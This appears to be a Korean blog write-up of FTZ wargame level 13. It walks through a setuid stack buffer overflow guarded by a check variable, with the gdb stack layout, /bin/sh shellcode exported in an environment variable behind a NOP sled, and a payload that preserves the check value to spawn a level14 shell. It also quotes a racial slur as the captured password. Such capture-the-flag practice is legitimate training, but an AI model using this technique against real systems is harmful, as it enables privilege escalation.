level 13
(password : have no clue)
level13 에 접속을 해서 'ls -l' 를 통해 level14 권한이 걸려 있는 'attackme' 라는 setuid인 파일과 'hint' 파일이 존재하는 것을 확인하였다.
'cat' 명령어를 통해 'hint' 파일의 내용을 확인하였다.
※ 'hint' 파일 해석
#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567; (1)
char buf[1024]; (2)
setreuid( 3094, 3094 ); (3)
if(argc > 1)
strcpy(buf,argv[1]); (4)
if(i != 0x1234567) { (5)
printf(" Warnning: Buffer Overflow !!! \n"); (6)
kill(0,11); (7)
}
}
(1) i의 값을 '0x1234567' 로 초기화
(2) buf 선언
(3) level13의 사용자 ID
(4) 사용자가 입력한 값을 'strcpy' 를 통해 'buf' 에 복사
(5) 만약 i가 '0x1234567'과 같지 않다면
(6) "Warning ... " 메세지를 출력
(7) 프로그램 종료
이전 'level11', 'level12' 문제를 풀 때 처럼 Return Address를 변조하려면 i의 값을 지나가는데, 이 i의 값이 변조되면 안된다는 것이다. i의 변조를 피하기 위해 먼저 i의 위치를 알아보았다.
그 전에 'attackme' 파일을 './tmp' 로 옮겨 'level14.c'로 생성을 해 주었고, 컴파일을 해 주었다.
그리고 나서 'gdb'로 디스어셈블리를 해 주었다.
0x080484a3 <main+3> 부분을 보면 0x418만큼의 공간을 할당해준다.
0x418은 10진수로 1048인데, buf는 1024byte 그리고 i의 변수형이 long 이므로 4byte이므로
dummy는 1048 - 1028 = 20 byte라는 것을 알 수 있다.
공간은 아래와 같이 구성된다.
RET(4) |
SFP(4) |
dummy(?) |
i(4) |
dummy(?) |
buf(1024) |
<main+9> 와 <main+69> 부분에서 '0x1234567'이 나오는 것을 보아 i와 관련된 코드인 것 같다.
[ebp-12] 부터 [ebp-8] 까지가 i에 해당하고, [ebp-8]부터 [ebp-0] 까지가 dummy가 되는 것 같다.
RET(4) |
SFP(4) |
dummy(8) |
i(4) |
dummy(?) |
buf(1024) |
<main+54> 부분을 보면 'buf' 는 [ebp-1048] ~ [ebp-24] 까지 해당되고, [ebp-24]~[ebp-12] 까지가 dummy에 해당되는 것 같다.
RET(4) |
SFP(4) |
dummy(8) |
i(4) |
dummy(12) |
buf(1024) |
이제 i위 위치를 알아냈으므로, level11, level12문제와 같이 환경 변수를 이용해서 풀어보았다.
쉘을 실행시키기 위해 쉘 코드인 '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' 를
export SHELLCODE=$(python -c 'print "\x90"*13000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') 을 통해 환경 변수에 등록을 해주었다.
'export | grep SHELLCODE' 를 통해 확인해 주었다.
그 다음, 환경 변수의 주소를 획득하기 위해 './tmp' 아래에 'getlevel14.c' 파일을 만들어 주었다.
'getenv("변수명")' 함수를 통해 'SHELLCODE'의 메모리 주소를 출력하도록 하였다.
'getlevel14.c' 파일을 'getlevel14' 로 컴파일 해준 다음, 'ls' 를 통해 확인해 주었다.
생성한 './getlevel14' 을 실행하면, 'SHELLCODE' 의 주소인 '0xbfffc957' 인 것을 확인할 수 있었다.
환경 변수의 주소를 얻었으므로 그것을 활용해 페이로드를 작성해 보았다.
중요한 것은 i의 값을 변조하지 않는 것이므로
'dummy(1036) + i + dummy(12) + SEHLLCODE address' 로 생성하였다.
위의 페이로드를 입력해 주었다.
성공하였고, 'my-pass' 를 통해 'level14'의 'password'인 "what that nigga want?"를 얻을 수 있었다.
'Systemhacking > FTZ' 카테고리의 다른 글
[FTZ] level14 (0) | 2021.05.25 |
---|---|
[FTZ] level12 (0) | 2021.05.23 |
[FTZ] level 11 (0) | 2021.05.17 |
[FTZ] level10 (0) | 2021.05.17 |
[FTZ] level9 (0) | 2021.05.06 |